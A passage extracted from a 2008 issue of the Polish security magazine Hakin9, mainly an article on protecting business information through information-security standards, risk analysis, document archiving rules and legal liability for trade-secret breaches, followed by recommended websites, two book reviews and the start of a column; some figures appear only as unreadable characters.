ochroniarskiej),
• ochrona bierna (wdrożenie systemu
zabezpieczeń architektoniczno-
budowlanych, mechanicznych i
elektronicznych: systemu włamania
i napadu, systemu kontroli dostępu,
systemu sygnalizacji pożarowej,
systemu telewizji dozorowej, systemu
nagłośnienia ewakuacyjnego
budynku, systemu zasilania
awaryjnego, zintegrowanego systemu
bezpieczeństwa i w niezbędnym
Tabela 6.
Podstawowe zasady ochrony informacji
Podstawowe zasady ochrony informacji
Lp. Zasada
Treść zasady
1
Zasada przywilejów koniecznych
Każdy użytkownik systemu informatycznego posiada prawa ograniczone wyłącznie do tych,
które są konieczne do wykonywania powierzonych mu zadań
2
Zasada wiedzy koniecznej
Pracownicy posiadają wiedzę o systemie informatycznym, ograniczoną wyłącznie do
zagadnień, które są konieczne do realizacji powierzonych zadań
3
Zasada usług koniecznych
Zakres dostępnych usług systemu jest ograniczony tylko do tych, które są konieczne do
prawidłowego funkcjonowania organizacji
4
Zasada asekuracji zabezpieczeń Ochrona systemu informatycznego nie może opierać się wyłącznie o jeden mechanizm
zabezpieczenia, nawet gdy zastosowana technologia jest uznawana za wysoce
zaawansowaną i niezawodną
5
Zasada pracy zbiorowej
Wszyscy użytkownicy systemu informatycznego są świadomi konieczności ochrony
wykorzystywanych zasobów
6
Zasada indywidualnej
odpowiedzialności
Za utrzymanie właściwego poziomu bezpieczeństwa poszczególnych elementów systemu
informatycznego odpowiadają konkretne osoby, które mają świadomość tego za co są
odpowiedzialne i jakie konsekwencje poniosą jeżeli zaniedbają swoje obowiązki
7
Zasada obecności koniecznej
Prawo przebywania w określonych pomieszczeniach mają wyłącznie osoby, które są do tego
upoważnione lub posiadają tymczasową zgodę wydaną przez odpowiedni organ nadzorczy
8
Zasada stałej gotowości
System ochrony jest przygotowany do odparcia wszystkich realnych zagrożeń. Pod żadnym
pozorem nie może zdarzyć się sytuacja tymczasowego wyłączenia zabezpieczeń, która
pozostawi określone elementy systemu informatycznego bez ochrony
9
Zasada najsłabszego 'ogniwa
łańcucha'
Poziom bezpieczeństwa systemu informatycznego wyznacza najsłabszy (najmniej
zabezpieczony ) element tego systemu. Z reguły, włamanie do systemu odbywa się poprzez
wyszukiwanie luk w systemie ochrony
BEZPIECZNA FIRMA
70
HAKIN9 4/2008
OCHRONA INFORMACJI BIZNESOWYCH
71
HAKIN9
4/2008
zakresie
• asekuracja (zawarcie umowy
ubezpieczeniowej).
Warto zauważyć, że nie wszystkie zasoby
informacyjne warto zabezpieczać lub
chronić – należy określić poziom ryzyka
akceptowalnego. Ważne jest, aby przyjęte
rozwiązania organizacyjne, środki
zabezpieczeń i ochrony oraz asekuracja
wzajemnie się uzupełniały.
Kształtowanie właściwej polityki
bezpieczeństwa fizycznego zasobów
(ochrona osób, mienia i informacji)
wymaga kompleksowego podejścia,
a nie działania na zasadzie intuicji.
Możemy wówczas mówić o prawdziwym
bezpieczeństwie, a nie o pozorach
bezpieczeństwa, tym bardziej, że
bezpieczeństwo fizyczne sporo kosztuje.
Poddaję to pod rozwagę zarządzającym
organizacjami.
Bezpieczeństwo
teleinformatyczne
Pierwszym standardem obejmującym
kompleksowo zarządzanie
bezpieczeństwem informacji jest norma
ISO 17799 (PN-ISO/IEC 17799: 2007).
Zawiera ona wytyczne zarządzania
bezpieczeństwem informacji. Dotyczy
następujących obszarów: bezpieczeństwa
fizycznego i środowiskowego,
bezpieczeństwa osobowego,
bezpieczeństwa IT, zarządzenia ciągłością
działania i zapewnienia zgodności z
przepisami prawa.
Zgodnie z normą informacja jest
aktywem, który – podobnie jak inne ważne
aktywa biznesowe – ma dla instytucji
wartość i dlatego należy ją odpowiednio
chronić. Z kolei bezpieczeństwo informacji
oznacza ochronę informacji przed różnymi
zagrożeniami w taki sposób, aby zapewnić
ciągłość działania – realizację celów
statutowych instytucji, zminimalizować
straty i zmaksymalizować zwrot nakładów
na inwestycje i działania o charakterze
biznesowym. Norma ISO 17799 odnosi się
do 7 aspektów informacji podlegających
ochronie: poufności, integralności,
dostępności, rozliczalności, autentyczności,
niezaprzeczalności i niezawodności.
W przypadku informacji biznesowych
stanowiących tajemnicę przedsiębiorstwa
największe znaczenie dla bezpieczeństwa
informacji ma ochrona poufności,
tzn. zapewnienie, żeby informacja
nie była udostępniana lub ujawniana
nieautoryzowanym osobom, podmiotom
lub procesom. Jak wynika z praktyki,
najczęściej z firm informacje wyciekają
za pośrednictwem poczty elektronicznej,
komunikatorów internetowych i sieci
bezprzewodowych. Cenne informacje
pracownicy wynoszą na płytach CD/DVD,
nagrane na pamięciach USB lub w postaci
dokumentów papierowych (kserokopie).
Zdarzają się przypadki podkupywania
pracowników, kradzieży sprzętu,
prowadzenia podsłuchów, czy szpiegostwa
gospodarczego i przemysłowego.
Oprócz normy ISO 17779 istnieją inne
standardy dotyczące bezpieczeństwa.
Przykładem może być standard
Wytyczne w sprawie bezpieczeństwa
systemów informacyjnych, wydany przez
Organizację Rozwoju i Współpracy
Gospodarczej (OECD), która zrzesza
najbardziej uprzemysłowione kraje
świata, w tym Polskę. Wytyczne te mogą
stanowić uzupełnienie norm dotyczących
bezpieczeństwa informacji.
Podstawą zarządzania
bezpieczeństwem informacji jest analiza
i zarządzanie ryzykiem. W oparciu o
wyniki procesu analizy ryzyka następuje
dobór zabezpieczeń. Zastosowane
zabezpieczenia powinny być efektywne
kosztowo i uwzględniać wymagania
wynikające z przepisów prawa,
wymagania biznesowe i wymagania z
analizy ryzyka zasobów posiadających
wartość dla działania instytucji. Ryzyko,
jakie powstaje po wprowadzeniu
zabezpieczeń, nazywamy ryzykiem
szczątkowym.
Przyjęta strategia analizy ryzyka
powinna uwzględniać warunki
charakterystyczne dla przedsiębiorstwa i
koncentrować się na działaniach związanych
z bezpieczeństwem, tam gdzie są one
Rysunek 2.
Związki w zarządzaniu ryzykiem
���������
����������
�������
������
������
��������������
�
�
�
�������
��������
�
�����������������
�
����������
���������
��������
����������
���������
������������
����������
����������
�������������
�������������
�����������������
��������������
���������������������
Tabela 7.
Dobre praktyki w przetwarzaniu dokumentów
Lp.
Dobre praktyki w przetwarzaniu dokumentów
1
obieg dokumentów kontrolowany (przekazywanie za pokwitowaniem odbioru)
2
dostęp do dokumentów elektronicznych zgodny z przyznanymi uprawnieniami
3
udostępnianie dokumentów tylko osobom uprawnionym
4
określona osobista odpowiedzialność za przetwarzanie dokumentów
5
dokumenty źródłowe odpowiednio chronione
6
dostęp do pomieszczeń kontrolowany
7
zapewnione warunki środowiskowe w pomieszczeniach
8
kopie awaryjne wykonywane i odpowiednio przechowywane
BEZPIECZNA FIRMA
72
HAKIN9 4/2008
OCHRONA INFORMACJI BIZNESOWYCH
73
HAKIN9
4/2008
naprawdę potrzebne.
Raport techniczny ISO/IEC TR 13335-
3 przedstawia 4 warianty podejścia do
analizy ryzyka: podejście podstawowego
poziomu bezpieczeństwa, podejście
nieformalne, szczegółową analizę ryzyka
i podejście mieszane. Podstawowa
różnica pomiędzy nimi dotyczy stopnia
szczegółowości analizy ryzyka.
Podejście podstawowego poziomu
bezpieczeństwa polega na wprowadzeniu
standardowych zabezpieczeń niezależnie
od ryzyka wynikającego z analizy
zasobów, zagrożeń i podatności. Podejście
nieformalne polega na wykorzystaniu wiedzy
i doświadczenia ekspertów, koncentruje
się na zasobach narażonych na wysokie
ryzyko. Z kolei szczegółowa analiza ryzyka
wymaga identyfikacji i wyceny aktywów,
oszacowania zagrożeń oraz oszacowania
podatności. Podejście czwarte, podejście
mieszane obejmuje dwa etapy. W
pierwszym etapie przeprowadza się ogólną
analizę ryzyka dla wszystkich zasobów z
uwzględnieniem ich wartości biznesowej
i ryzyka, na które są one narażone. Dla
wszystkich zidentyfikowanych zasobów, które
są ważne dla przedsiębiorstwa i narażone
na wysokie ryzyko, przeprowadza się później
szczegółową analizę ryzyka. W drugim
etapie dla pozostałych zasobów należy
zastosować podejście podstawowego
poziomu bezpieczeństwa.
Przyjęcie podejścia mieszanego
zalecane jest dla większości przedsiębiorstw.
Jest ono najbardziej efektywne
– szczegółowa analiza ryzyka dla zasobów
posiadających wartość lub narażonych
na wysokie ryzyko, a dla pozostałych
zasobów zastosowanie podstawowego
poziomu bezpieczeństwa, czyli wdrożenie
standardowych zabezpieczeń. Aby
skutecznie zarządzać bezpieczeństwem
informacji w przedsiębiorstwie,
należy wdrożyć system zarządzania
bezpieczeństwem informacji (SZBI).
Powinien on stanowić część składową
systemu zarządzania przedsiębiorstwem
i być oparty na podejściu wynikającym
z ryzyka biznesowego. Norma zaleca
podejście systemowe oparte na ciągłym
doskonaleniu zgodnie z cyklem PDCA
(Plan-Do-Check-Act) Deminga obejmującym:
ustanowienie SZBI, wdrożenie i eksploatację
SZBI, monitorowanie i przeglądy SZBI oraz
utrzymanie i doskonalenie SZBI.
Do certyfikacji systemów zarządzania
bezpieczeństwem informacji przeznaczona
jest norma BS 7799-2 (PN-ISO/IEC 27001:
2007). Norma 27001 umożliwia budowę w
przedsiębiorstwie zintegrowanego systemu
zarządzania jakością w oparciu o normę
ISO 9001 i normę ISO 17799. Wdrożenie
zintegrowanego systemu zarządzania
w przedsiębiorstwie pozwala osiągnąć
wymierne korzyści: objąć systemem
wszystkie obszary działania firmy, zwrócić
uwagę na ochronę informacji biznesowych
i ich wartość, zwiększyć zainteresowanie
w firmie technologiami ICT, spowodować
prowadzenie analizy i zarządzania
ryzykiem, zapewnić opracowanie planów
ciągłości działania, uzyskać przewagę nad
konkurencją i poprawić wizerunek firmy.
Bezpieczeństwo
dokumentów i nośników
Podstawowym warunkiem ładu
dokumentacyjnego w przedsiębiorstwie
jest ustalenie systemu obiegu
dokumentów i nośników oraz systemu
przechowywania i archiwowania
dokumentacji. Instrukcje wewnętrzne
ustalające ład dokumentacyjny (instrukcja
kancelaryjna, instrukcja archiwalna)
tworzy się na podstawie obowiązujących
przepisów prawa, wymagań otoczenia
instytucjonalnego oraz potrzeb
biznesowych. Ład dokumentacyjny
określają przede wszystkim: ustawa
o narodowym zasobie archiwalnym
i archiwach oraz rozporządzenia
wykonawcze do ustawy, przepisy
podatkowe, przepisy o rachunkowości,
przepisy o ubezpieczeniach społecznych
i zdrowotnych, o rentach i emeryturach,
przepisy prawa pracy oraz inne. Przepisy
prawa archiwalnego dotyczą całej
Podstawowe akty prawne związane z ochroną
informacji biznesowych:
• Ustawa – Kodeks cywilny – 1964 rok,
• Ustawa – Kodeks pracy – 1974 rok,
• Ustawa o narodowym zasobie archiwalnym i archiwach – 1983 rok,
• Ustawa o zwalczaniu nieuczciwej konkurencji – 1993 rok,
• Ustawa o prawie autorskim i prawach pokrewnych – 1994 rok,
• Ustawa o rachunkowości – 1994 rok,
• Ustawa o ochronie danych osobowych – 1997 rok,
• Ustawa o ochronie osób i mienia – 1997 rok,
• Ustawa – Kodeks karny – 1997 rok,
• Ustawa o ochronie informacji niejawnych – 1999 rok,
• Ustawa – Prawo własności przemysłowej – 2000 rok,
• Ustawa – Kodeks spółek handlowych – 2000 rok,
• Ustawa o dostępie do informacji publicznej – 2001 rok,
• Ustawa o udostępnianiu informacji gospodarczych – 2003 rok,
• Ustawa o przeciwdziałaniu nieuczciwym praktykom rynkowym – 2007 rok.
Terminologia
Podstawowe pojęcia związane z ochroną informacji biznesowych:
• tajemnica przedsiębiorstwa – nieujawnione do wiadomości publicznej informacje techniczne,
technologiczne, organizacyjne przedsiębiorstwa lub inne informacje posiadające wartość
gospodarczą, co do których przedsiębiorca podjął niezbędne działania w celu zachowania ich
w poufności,
• dane osobowe – wszelkie informacje dotyczące zidentyfikowanej lub możliwej do
zidentyfikowania osoby fizycznej,
• informacje niejawne – informacje, które wymagają ochrony przed nieuprawnionym
ujawnieniem, stanowiące tajemnicę państwową lub służbową,
• czyn nieuczciwej konkurencji – działanie sprzeczne z prawem lub dobrymi obyczajami,
jeżeli zagraża to lub narusza interes innego przedsiębiorcy lub klienta. Czynem nieuczciwej
konkurencji jest w szczególności naruszenie tajemnicy przedsiębiorcy,
• poufność – właściwość zapewniająca, że informacja nie jest udostępniana lub ujawniana
nieautoryzowanym osobom, podmiotom lub procesom.
BEZPIECZNA FIRMA
72
HAKIN9 4/2008
OCHRONA INFORMACJI BIZNESOWYCH
73
HAKIN9
4/2008
dokumentacji przedsiębiorstwa, bez
rozróżniania jej na dokumentację jawną
i dokumentację niejawną. Oznacza
to, że zasady wydzielania, oceny i
brakowania dokumentacji niejawnej są
takie same, jak dla dokumentacji jawnej.
Różnica polega jedynie na zasadach
ochrony przed nieuprawnionym jej
ujawnieniem. Zgodnie z ustawą o
narodowym zasobie archiwalnym i
archiwach, dokumentację dzieli się na
dokumentację archiwalną i dokumentację
niearchiwalną. Dokumentację archiwalną
przechowuje się wieczyście i oznacza
się symbolem A według kategorii
archiwalnej dokumentacji. Zgodnie
z przepisami ustawy dokumentację
archiwalną stanowią wszelkiego rodzaju
akta i dokumenty, korespondencja,
dokumentacja finansowa, techniczna
i statystyczna, mapy i plany, fotografie,
filmy i mikrofilmy, nagrania dźwiękowe i
wideofonowe oraz inna dokumentacja,
bez względu na sposób jej wytworzenia,
mająca znaczenie jako źródło
informacji o wartości historycznej
Państwa Polskiego, jego organów
i innych państwowych jednostek
organizacyjnych oraz o jego stosunkach
z innymi państwami, o rozwoju życia
społecznego i gospodarczego, o
działalności organizacji o charakterze
politycznym, społecznym i gospodarczym,
zawodowym i wyznaniowym, o
organizacji i rozwoju nauki, kultury i
sztuki, a także o działalności samorządu
terytorialnego i innych samorządowych
jednostek organizacyjnych – powstała w
przeszłości i współcześnie. Dokumentacja
niearchiwalna ma jedynie czasową,
praktyczną wartość dla przedsiębiorstwa
i podlega brakowaniu po upływie
obowiązujących okresów przechowywania.
Dokumentację tę oznacza się symbolem
B według kategorii archiwalnej
dokumentacji, uzupełnionym cyfrą arabską
lub literą i cyfrą arabską. Cyfra określa
okres przechowywania dokumentacji, który
liczy się w pełnych latach kalendarzowych,
od 1 stycznia roku następnego, w którym
została zakończona teczka akt spraw.
Podział rodzajowy dokumentacji dotyczący
poszczególnych spraw określa rzeczowy
wykaz akt, który każda firma powinna
opracować.
Nadzór nad prawidłowym
kwalifikowaniem akt na kategorie
w państwowych i samorządowych
jednostkach organizacyjnych sprawują
archiwa państwowe, w pozostałych
jednostkach odpowiedzialność
spoczywa na ich kierownikach.
Czas przechowywania akt jest
zróżnicowany, np. akta osobowe i
płacowe oraz dokumentację składek
ubezpieczeniowych do celów
emerytalnych i rentowych przechowuje
się przez 50 lat (kategoria B50), dowody
księgowe przez 5 lat (kategoria B5)
– zgodnie z ustawą o rachunkowości,
kopie deklaracji rozliczeniowych,
imiennych raportów miesięcznych i
dokumentów korygujących składanych
do ZUS przez 10 lat (kategoria B10)
– zgodnie z ustawą o systemie
ubezpieczeń społecznych. Czas
przechowywania dokumentacji
niearchiwalnej nieokreślony w
przepisach prawnych ustala się na
podstawie własnej oceny przydatności
praktycznej, biorąc pod uwagę potrzeby
teraźniejsze i przyszłe przedsiębiorstwa.
Aby zapewnić bezpieczeństwo
dokumentów, oprócz zgodności z
przepisami prawa należy zapewnić
prawidłową rejestrację dokumentów
wpływających do firmy – również tych,
które wpłynęły drogą elektroniczną
(wcześniej należy je wydrukować)
i nadzorować ich obieg. Najlepiej,
aby obieg dokumentów odbywał
się za pokwitowaniem odbioru. Dla
dokumentów zawierających tajemnicę
przedsiębiorstwa należy opracować
procedury związane z powielaniem i
kopiowaniem dokumentów, procedury
przechowywania i archiwizacji oraz
procedury wynoszenia dokumentów poza
teren firmy, a wreszcie zapewnić ochronę
fizyczną pomieszczeń z dokumentacją.
Rysunek 3.
Model PDCA stosowany w procesach SZBI
���������������
�������������
���������������
�������������
���������������
������������������
���������������
���������������
����������������
������
������
������������
���������
�������
�������
�����������������
�������
������
���������������
�������������
�����������������
�����������������
������������������
�����������������
����������������
���������������
�����������������
BEZPIECZNA FIRMA
74
HAKIN9 4/2008
Bezpieczeństwo
przemysłowe
Na koniec warto wspomnieć jeszcze
o bezpieczeństwie przemysłowym.
Problem bezpieczeństwa
przemysłowego dotyczy tylko tych
przedsiębiorców, którzy ubiegają się o
realizację umów lub zadań związanych
z dostępem do informacji niejawnych
stanowiących tajemnicę państwową
(informacje niejawne oznaczone
klauzulą tajne lub ściśle tajne).
Wykonawca umowy lub zadania musi
posiadać świadectwo bezpieczeństwa
przemysłowego.
Służby ochrony państwa wydają ww.
świadectwo po przeprowadzeniu
procedury postępowania
bezpieczeństwa przemysłowego.
W zależności od stopnia zdolności
do ochrony informacji niejawnych,
przedsiębiorcy mogą uzyskać
świadectwo bezpieczeństwa
przemysłowego I, II lub III stopnia. Ale to
temat na odrębny artykuł.
Odpowiedzialność
za naruszenie tajemnicy
Naruszenie tajemnicy przedsiębiorstwa
stanowi czyn nieuczciwej konkurencji.
Zgodnie z zapisami art. 11 ust. 1 ustawy
o zwalczaniu nieuczciwej konkurencji,
czynem nieuczciwej konkurencji jest
przekazanie, ujawnienie lub wykorzystanie
cudzych informacji stanowiących
tajemnicę przedsiębiorstwa albo ich
nabycie od osoby nieuprawnionej,
jeżeli zagraża to lub naraża interes
przedsiębiorcy.
Odpowiedzialność cywilna
W razie dokonania czynu nieuczciwej
konkurencji, przedsiębiorca, którego
interes zastał zagrożony lub naruszony,
może żądać m. in.: zaniechania
niedozwolonych działań lub usunięcia
ich skutków, złożenia oświadczenia
o odpowiedniej formie i treści,
naprawienia wyrządzonej szkody,
wydania bezpodstawnie uzyskanych
korzyści i zasądzenia odpowiedniej
sumy pieniężnej na określony cel
społeczny – jeżeli czyn nieuczciwej
konkurencji był zawiniony. Roszczenia z
tytułu nieuczciwej konkurencji ulegają
przedawnieniu z upływem trzech lat.
Odpowiedzialność karna
Odpowiedzialność karną za naruszenie
tajemnicy przedsiębiorstwa określa art.
23 ustawy o zwalczaniu nieuczciwej
konkurencji. Osoba, która wbrew
ciążącemu na niej obowiązkowi
ujawnia lub wykorzystuje we własnej
działalności informacje stanowiące
tajemnicę przedsiębiorstwa w przypadku,
gdy wyrządza to poważną szkodę
przedsiębiorcy, podlega grzywnie, karze
ograniczenia wolności albo pozbawienia
wolności do lat 2. Tej samej karze podlega
ten, kto uzyskawszy bezprawnie informację
stanowiącą tajemnicę przedsiębiorstwa,
ujawnia ją lub wykorzystuje we własnej
działalności gospodarczej.
Również w kodeksie karnym w rozdziale
XXXIII – Przestępstwa przeciwko ochronie
informacji, znajdziemy zapisy dotyczące
odpowiedzialności za ujawnienie lub
wykorzystanie informacji. Art. 266 § 1
stanowi: Kto, wbrew przepisom ustawy
lub przyjętemu na siebie zobowiązaniu,
ujawnia lub wykorzystuje informację, z którą
zapoznał się w związku z pełniona funkcją,
wykonywaną pracą, działalnością publiczną,
społeczną, gospodarczą lub naukową,
podlega grzywnie, karze ograniczenia
wolności albo pozbawienia wolności do lat
2. Ściganie ww. przestępstw następuje na
wniosek pokrzywdzonego.
Odpowiedzialność
dyscyplinarna
Zgodnie z art. 100 § 2 ust. 4 i 5 kodeksu
pracy, pracownik jest obowiązany w
szczególności zachować w tajemnicy
informacje, których ujawnienie mogłoby
narazić pracodawcę na szkodę oraz
przestrzegać tajemnicy określonej w
odrębnych przepisach. Należy zdać sobie
sprawę z tego, że nieprzestrzeganie
przez pracownika ww. zobowiązań
stanowi ciężkie naruszenie obowiązków
pracowniczych niezależnie od tego, czy
dotyczy to tajemnicy przedsiębiorstwa,
czy innych informacji. Zgodnie z art. 52 §
1 pracodawca może w takim przypadku
rozwiązać umowę o pracę z winy
pracownika. Warto o tym pamiętać.
Podsumowanie
Przepisy prawa nie określają metod i
sposobów ochrony informacji biznesowych
stanowiących tajemnicę przedsiębiorstwa,
tak jak ma to miejsce w przypadku
danych osobowych czy informacji
niejawnych, dla których to informacji
ustawodawca szczegółowo – w przepisach
wykonawczych – określił ich zasady
ochrony. W przypadku instytucji tajemnicy
przedsiębiorstwa ustawodawca pozostawił
przedsiębiorcom i przedsiębiorstwom
wolną rękę co do sposobu zabezpieczenia
tych informacji.
W praktyce firmy najczęściej
adaptują rozwiązania wynikające z
rozporządzeń wykonawczych do ww.
ustaw oraz stosują polskie normy
dotyczące bezpieczeństwa informacji,
które stanowią źródło tzw. dobrych praktyk,
a w szczególności PN-ISO/IEC 17799:
2007 Technika informatyczna – Techniki
bezpieczeństwa – Praktyczne zasady
zarządzania bezpieczeństwem informacji
i PN-ISO/IEC 27001: 2007 Technika
informatyczna – Techniki bezpieczeństwa
– Systemy zarządzania bezpieczeństwem
informacji – Wymagania, w których
to znajdziemy cenne zalecenia
dotyczące bezpieczeństwa osobowego,
bezpieczeństwa fizycznego i
środowiskowego, bezpieczeństwa
dokumentów, nośników informacji i
bezpieczeństwa teleinformatycznego.
Krótko mówiąc, do ochrony informacji
biznesowych potrzebny jest system
zarządzania bezpieczeństwem informacji,
opracowanie planu bezpieczeństwa,
wdrożenie go w życie i ciągłe
doskonalenie. Na nic zdają się działania
doraźne, które usuwają jedynie skutki
niepożądanych działań lub zachowań, a
nie dotykają przyczyn zjawisk związanych z
wyciekaniem informacji z przedsiębiorstw.
Bezpieczeństwo informacji to proces, a
nie jednorazowy akt. W 80 procentach
to proces zarządczy, a w 20 procentach
– technologia, która wspiera zarządzanie.
Poddaję to pod rozwagę zarządzającym.
Reasumując, aby zapewnić
bezpieczeństwo informacji biznesowych,
potrzeba trochę wiedzy, trochę procedur,
trochę dobrej woli i trochę pieniędzy.
Andrzej Guzik
Audytor systemów zarządzania jakością i zarządzania
bezpieczeństwem informacji, specjalista w zakresie
ochrony informacji prawnie chronionych, redaktor portalu
www.ochronainformacji.pl.
Kontakt z autorem: a.guzik@ochronainformacji.pl
Strony rekomendowane
Misją serwisu jest zaprezentowanie języ-
ków programowania oraz ułatwienie użyt-
kownikowi ich szybkiej nauki.
http://www.cjp.xt.pl
Strona firmy świadczącej profesjonalne
usługii IT, specjalizującej się w wypożycza-
niu serwerów i macierzy. Firma prowadzi
także centrum szkoleniowe.
http://www.itlpolska.pl
Portal poświęcony technikom programo-
wania oraz sposobom ochrony przed za-
grożeniami jakie płyną z Internetu. Przedsta-
wione techniki służą do celów edukacyjnych,
nie należy ich wykorzystywać w niewłaści-
wy sposób.
http://www.hackerzy.pl
Portal internetowy poświęcony w całości
branży IT. Podzielony jest na trzy działy po-
święcone sprzętowi komputerowemu, grom
i rozrywce oraz najnowszym aplikacjom.
http://www.pcarena.pl/index.php
Do niedawna termin hacking był zarezerwo-
wany tylko dla profesjonalistów. Na tym por-
talu można dowiedzieć się więcej o tym za-
gadnieniu. Znajdują się na nim również aktu-
alności i obszerny dział downloads.
http://www.hakerczat.prv.pl/index.html
Portal dla wszystkich zainteresowanych te-
matyką bezpieczeństwa, audytem, IT Go-
vernance w sieciach i systemach teleinfor-
matycznych, a także ochroną danych.
http://www.locos.pl/
Witryna poświęcona w całości tematy-
ce hakingu. Początkujący w tej dziedzinie
znajdą na niej działy, ktore im umożliwią
rozpoczęcie nauki.
http://www.haker.ocom.pl/
Misją serwisu jest dostarczenie dużej ilo-
ści informacji z zakresu informatyki. Znaj-
dują się na nim ciekawe artykuły, najśwież-
sze informacje z rynku IT, recenzje książek
jak i kursy tworzenia portali www.
http://www.swww.pl/
Serwis poświęcony branży IT oferujący
codzienne newsy, artykuły, recenzje ma-
gazynów, testy oraz forum dyskusyjne.
http://www.webhat.pl/index.php
Strona dla każdego webmastera i hackera.
Jeśli zawsze chciałeś stworzyć swoją stro-
nę internetowej lub poznać haking od pod-
szewki, to ten serwis Ci w tym pomoże.
http://web4u.neth.pl/
Strona internetowa firmy Fit Consulting spe-
cjalizującej się w nowoczesnych rozwią-
zaniach informatycznych, zaczynając od
sprzedaży sprzętu komputerowego i świad-
czeniu usług po zaawansowane rozwiązania
zarządzania przedsiębiorstwem.
http://www.fit-consulting.pl/
Strona koła naukowego PK IT Security Gro-
up. Koło ma na celu dostarczanie informacji
związanych z bezpieczeństwem.
http://www.pkitsec.pl/
Strony rekomendowane
76
KSIĄŻKI
HAKIN9 4/2008
Hacking zdemaskowany
– Bezpieczeństwo sieci – sekrety i rozwiązania
Przeczytałem tą książkę bardzo
dokładnie z klawiaturą w ręku, żeby od
razu ściągać, kompilować, próbować
tego o czym autorzy piszą.
Moje wrażenia są wielowymiarowe, a
każdy wymiar zależy od punktu widzenia. Jako
administrator sieci komputerowych dowiedziałem
się kilku nowych rzeczy. Przekonałem się również,
że żadna sieć, która w jakikolwiek sposób jest
dostępna z lub ma dostęp do internetu nie
jest bezpieczna. Jednakże mając prawie 12
lat doświadczenia w zawodzie administratora
systemów i sieci muszę przyznać, że niewiele
mnie zaskoczyło w tej ksiażce. Głównie z tego
powodu, że najprawdopodobniej część jej
rozdziałów pochodzi jeszcze z lat jej pierwszego
wydania tj 2001 roku. Trzeba też nadmienić, że
piąte wydanie ukazało się w 2005 roku, a my
mamy już 2008. Na polu informatyzacji to bardzo
wiele czasu.
Z punktu widzenia osoby, która poświęca czas
i środki na udowodnienie, że bezpieczne nie jest
wcale bezpieczne materiał zawarty w tej książce
jest mało ciekawy może poza teorią hakowania
kodu oraz wykorzystywania google do celów
łamania lub obchodzenia zabezpieczeń. Te dwa
względnie nowe nurty metod ataku pokazują
jak pomysłowi są cyberprzestępcy oraz jak
przeszukiwarki mogą stać się katastrofą firmy jeśli
nie zadba sie należycie o politykę udostępniania
wiadomości.
Pozostaje jeszcze punkt widzenia laika.
Tutaj byłbym zachwycony. Strony z gotowymi
narzędziami, skrypty, porady, przepisy krok po
kroku. Prawie jak scripkiddie. Tutaj jednak również
książka nie jest niestety wolna od wad – co przy
piątym wydaniu jest dla mnie zdecydowanym
minusem. Mianowicie spora część linków to 'Page
404'. Autorzy lub korektorzy mogliby następne
wydanie zaktualizować także pod tym kątem.
Komu poleciłbym tę książkę? Najszybciej
administratorom sieci, którzy ufają że ich serwer
jest nie do zdobycia, a sieć jest bezwzględnie
szczelna. Poleciłbym tą książkę również osobom
odpowiedzialnym za bezpieczeństwo firm – jako
ciekawostkę do poduszki.
Microsoft Windows
SharePoint Services 3.0 od środka
Na 414 stronach książki Ted Pattison
oraz Daniel Larson wprowadzają nas
w tajniki Microsoft Windows SharePoint
Services 3.0. Autorzy zakładają jednak, że czytelnik
ma już podstawowe informacje o platformie
.NET i technologiach Microsoft ASP.NET oraz
AJAX. Autorzy mimo to przypominają czytelnikowi
kilka podstawowych pojęć z tego zakresu w
rozdziale wstępnym. Należy jednak pamiętać, że
mimo braku znajomości omawianych w książce
technologii Microsoftu, da się ją zrozumieć
(o ile mieliśmy wcześniej do czynienia z
programowaniem).
Książka podzielona jest na 10 logicznie
ułożonych rozdziałów. Pierwszy z nich ma
charakter wprowadzenia. Są tutaj omówione
podstawowe kwestie, pomagające zrozumieć
czytelnikowi pozostałą część książki. Jeżeli jednak
zdarzy się tak, że tę bazową wiedzę nabyliśmy
już wcześniej, rozdział ten możemy spokojnie
pominąć, bo... najciekawsze jest dopiero przed
nami. W drugim z kolei rozdziale poznamy
architekturę tytułowej aplikacji – SharePoint. W tej
właśnie części książki dokładnie wyjaśniony jest
sposób działania narzędzia.
Kolejne rozdziały opisują tworzenie stron
i projektów, składniki Web Part, składniki Web
Part AJAX, listy i typy zawartości, biblioteki
dokumentów, a także przepływy pracy SharePoint
(najdłuższy rozdział w całej książce), instalację
oraz zabezpieczenia aplikacji. Warto zwrócić
uwagę właśnie na rozdział traktujący o przepływie
pracy SharePoint, gdyż zawiera on wiele
istotnych informacji, które przydadzą się podczas
implementowania własnych projektów. Nie mniej
znaczącym rozdziałem jest ten o bezpieczeństwie.
Również tutaj autorzy dokładnie opisują, jak i przed
czym chronić nasze aplikacje. W tym miejscu
należy zwrócić szczególną uwagę na to, co
czytamy, gdyż nadal wiele serwisów internetowych
jest słabo zabezpieczonych.
Po przeczytaniu książki możemy świeżo
nabytą wiedzę wykorzystać do tworzenia
internetowych aplikacji z użyciem elementów Web
Part oraz API Windows SharePoint.
Autorzy: Steve McClure, Joel
Scambray, Georg Kurtz
Wydawca: PWN
Rok wydania w Polsce: 2006
Liczba stron: 700
Recenzent: Daniel Zimnicki
Autorzy: Ted Pattison, Daniel
Larson
Wydawca: Promise
Rok wydania w Polsce: 2007
Liczba stron: 430
Recenzent: Roger Zacharczyk
FELIETON
78
HAKIN9 4/2008
Dla kogo biuletyn
bezpieczeństwa?
postrzegana w społeczności
(połączonej np. za pomocą Internetu)
jako jeden system o założonym
działaniu. I tak, użytkownikiem
indywidualnym jest każda osoba,
posiadająca własny komputer
osobisty oraz system, który wymaga
stałej kontroli poziomu wierzytelności
posiadanych zabezpieczeń, ze względu
na rolę jaką pełni w społeczności.
Aktualnie każdy użytkownik Internetu
jest zobowiązany do posiadania
pewnego poziomu zabezpieczeń, nie
tylko ze względu na bezpieczeństwo
swoje, ale także na fakt, iż jego
niesubordynacja w tym względzie może
zagrażać innym użytkownikom Sieci.
Np. SPAM wysyłany z jego komputera
powoduje obciążenie jego łącza, ale
także powoduje dyskomfort wielu
użytkowników odbierających pocztę, co
prędzej czy później będzie miało swoje
konsekwencje.
Użytkownikiem korporatywnym
jest pewna zbiorowość złożona z
O
sobę lub inny podmiot, który
wykorzystuje informacje
(posiada zdolność ich
poprawnej interpretacji) zawarte w
biuletynie, nazywamy użytkownikiem
końcowym (według art. 2 pkt. 50
ustawy z dnia 16 lipca 2004 r. prawa
telekomunikacyjnego użytkownikiem
końcowym można także nazwać
podmiot korzystający z publicznie
dostępnej usługi telekomunikacyjnej).
Jednak ze względu na fakt
udostępniania informacji, użytkownikiem
końcowym w kontekście bezpieczeństwa
jest każda osoba, która żąda uzyskania
informacji dla zaspokojenia własnych
potrzeb identyfikacji zagrożenia poziomu
zabezpieczeń.
Zatem ostatecznym odbiorcą
